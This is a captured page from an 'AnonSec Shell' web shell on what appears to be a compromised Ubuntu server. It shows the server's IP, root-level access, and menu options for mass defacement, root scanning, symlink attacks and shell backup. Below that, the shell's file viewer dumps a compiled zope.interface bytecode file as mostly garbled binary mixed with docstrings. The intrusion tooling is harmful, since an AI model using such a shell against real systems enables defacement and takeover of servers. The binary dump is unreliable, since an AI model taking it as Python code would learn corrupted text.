AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/interface/common/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/interface/common/__pycache__/__init__.cpython-310.pyc
o

$
x`�(�@s�ddlZddlmZddlmZddlmZddlmZddlmZddlm	Z	gZ
Gdd	�d	e�ZGd
d�de�Z
dd
�Ze�ZdS)�N)�FunctionType)�classImplements)�	Interface)�fromFunction)�InterfaceClass)�_decorator_non_returnc@seZdZdd�ZdS)�optionalcCs|j|_dS�N��__doc__)�self�method�r�@/usr/lib/python3/dist-packages/zope/interface/common/__init__.py�__init__#szoptional.__init__N)�__name__�
__module__�__qualname__rrrrrrsrc@sfeZdZdZdd�Zedd��Zdd�Zedd	��Zed
d��Z	dd
�Z
ddd�Zdd�Zdd�Z
dS)�ABCInterfaceClassa�

    An interface that is automatically derived from a
    :class:`abc.ABCMeta` type.

    Internal use only.

    The body of the interface definition *must* define
    a property ``abc`` that is the ABC to base the interface on.

    If ``abc`` is *not* in the interface definition, a regular
    interface will be defined instead (but ``extra_classes`` is still
    respected).

    Use the ``@optional`` decorator on method definitions if
    the ABC defines methods that are not actually required in all cases
    because the Python language has multiple ways to implement a protocol.
    For example, the ``iter()`` protocol can be implemented with
    ``__iter__`` or the pair ``__len__`` and ``__getitem__``.

    When created, any existing classes that are registered to conform
    to the ABC are declared to implement this interface. This is *not*
    automatically updated as the ABC registry changes. If the body of the
    interface definition defines ``extra_classes``, it should be a
    tuple giving additional classes to declare implement the interface.

    Note that this is not fully symmetric. For example, it is usually
    the case that a subclass relationship carries the interface
    declarations over::

        >>> from zope.interface import Interface
        >>> class I1(Interface):
        ...     pass
        ...
        >>> from zope.interface import implementer
        >>> @implementer(I1)
        ... class Root(object):
        ...     pass
        ...
        >>> class Child(Root):
        ...     pass
        ...
        >>> child = Child()
        >>> isinstance(child, Root)
        True
        >>> from zope.interface import providedBy
        >>> list(providedBy(child))
        [<InterfaceClass __main__.I1>]

    However, that's not the case with ABCs and ABC interfaces. Just
    because ``isinstance(A(), AnABC)`` and ``isinstance(B(), AnABC)``
    are both true, that doesn't mean there's any class hierarchy
    relationship between ``A`` and ``B``, or between either of them
    and ``AnABC``. Thus, if ``AnABC`` implemented ``IAnABC``, it would
    not follow that either ``A`` or ``B`` implements ``IAnABC`` (nor
    their instances provide it)::

        >>> class SizedClass(object):
        ...     def __len__(self): return 1
        ...
        >>> from collections.abc import Sized
        >>> isinstance(SizedClass(), Sized)
        True
        >>> from zope.interface import classImplements
        >>> classImplements(Sized, I1)
        None
        >>> list(providedBy(SizedClass()))
        []

    Thus, to avoid conflicting assumptions, ABCs should not be
    declared to implement their parallel ABC interface. Only concrete
    classes specifically registered with the ABC should be declared to
    do so.

    .. versionadded:: 5.0.0
    cs�|�_|�dd�}|�dd�}d|vr't��|||�t��||�t�_dS|�d�}|�_t|��_	t|��_
|dd�|jksHJ||f���fdd�t|���D�}��
|�|d<|�|�t��|||����dS)	N�
extra_classesr�ignored_classes�abc�cs<i|]\}}t|t�r��|�s��|�s|��||��qSr)�
isinstancer�#_ABCInterfaceClass__is_private_name�,_ABCInterfaceClass__is_reverse_protocol_name�(_ABCInterfaceClass__method_from_function��.0�k�v�rrr�
<dictcomp>�s����z.ABCInterfaceClass.__init__.<locals>.<dictcomp>r)r�poprrr�$_ABCInterfaceClass__register_classes�	__class__�_ABCInterfaceClass__abc�tuple�!_ABCInterfaceClass__extra_classes�#_ABCInterfaceClass__ignored_classes�vars�items�$_ABCInterfaceClass__create_class_doc�update)r�name�bases�attrsrr�based_on�methodsrr!rrxs(




�	
zABCInterfaceClass.__init__cCsLdd�|��D�}|D]}t||<q|sdSdd�dd�|��D��}|S)NcSs i|]\}}t|t�r||�qSr)rrrrrrr"�s z@ABCInterfaceClass.__optional_methods_to_docs.<locals>.<dictcomp>�z)

The following methods are optional:
 - z
-css"�|]\}}d||jfVqdS)z%s
%sNr
rrrr�	<genexpr>�s�
�z?ABCInterfaceClass.__optional_methods_to_docs.<locals>.<genexpr>)r+r�join)r0�	optionalsr�docsrrr�__optional_methods_to_docs�s

�z,ABCInterfaceClass.__optional_methods_to_docscs�|j}dd��d��fdd�t|���d�D��}|rd|}|jp#d}|��}|r.|d	nd}d
|j|j|�d|�|�	|�|f}|S)NcSs6|j}|j}|tjkrd|S|dkrd}d||fS)Nz`%s`�_io�ioz`%s.%s`)rr�str)�c�modr.rrr�ref�s
z1ABCInterfaceClass.__create_class_doc.<locals>.refz
 - c3s�|]}�|�VqdSr	r)rr<�r>rrr4�s
��
�z7ABCInterfaceClass.__create_class_doc.<locals>.<genexpr>)�keyz!

Known implementations are:

 - r3rz&Interface for the ABC `%s.%s`.

%s%s%sr)
r&r5�sorted�getRegisteredConformersr�
splitlinesrr�get�,_ABCInterfaceClass__optional_methods_to_docs)rr0r1�implementations_doc�based_on_doc�docrr?r�__create_class_doc�s"�

�z$ABCInterfaceClass.__create_class_doccCs"|�d�r|�d�rdS|�d�S)N�__F�_��
startswith�endswith�r.rrr�__is_private_name�s
z#ABCInterfaceClass.__is_private_namecCs|�d�o	|�d�S)N�__rrJrLrOrrr�__is_reverse_protocol_name�sz,ABCInterfaceClass.__is_reverse_protocol_namecCs"t|||d�}|jdd�|_|S)NrOr)r�
positional)r�functionr.r
rrr�__method_from_function�sz(ABCInterfaceClass.__method_from_functionNcCsH|dur|n|��}|dur|n|j}|D]}||vrqt||�qdSr	)rBr)r)r�
conformersr�ignored�clsrrr�__register_classes�s�z$ABCInterfaceClass.__register_classescCs|jS)z;
        Return the ABC this interface represents.
        )r&r!rrr�getABC�szABCInterfaceClass.getABCcCs�|j}zt|j�t|j�}Wn-ty<ddlm}||�}|d}|d}dd�t�||�D�}dd�|D�}Ynwt	t�||j
��S)zz
        Return an iterable of the classes that are known to conform to
        the ABC this interface parallels.
        r)�	_get_dumprcSsg|]}|��qSrr�r�xrrr�
<listcomp>sz=ABCInterfaceClass.getRegisteredConformers.<locals>.<listcomp>cSsg|]}|dur|�qSr	rr\rrrr^s)r&�list�
_abc_registry�
_abc_cache�AttributeErrorrr[�	itertools�chain�setr()rr1�
registeredr[�data�registry�cacherrrrB�s�
z)ABCInterfaceClass.getRegisteredConformers)NN)rrrrr�staticmethodrEr,rrrr$rZrBrrrrr'sP#





rcCs4dtfif}tjtg|�R�}tj|g|�R�|S)N�ABCInterface)rr�__new__rr)�abc_name_bases_attrs�instancerrr�_create_ABCInterfacesro)rc�typesr�zope.interfacerr�zope.interface.interfacerrr�__all__�objectrrrorkrrrr�<module>s	`


Anon7 - 2022
AnonSec Team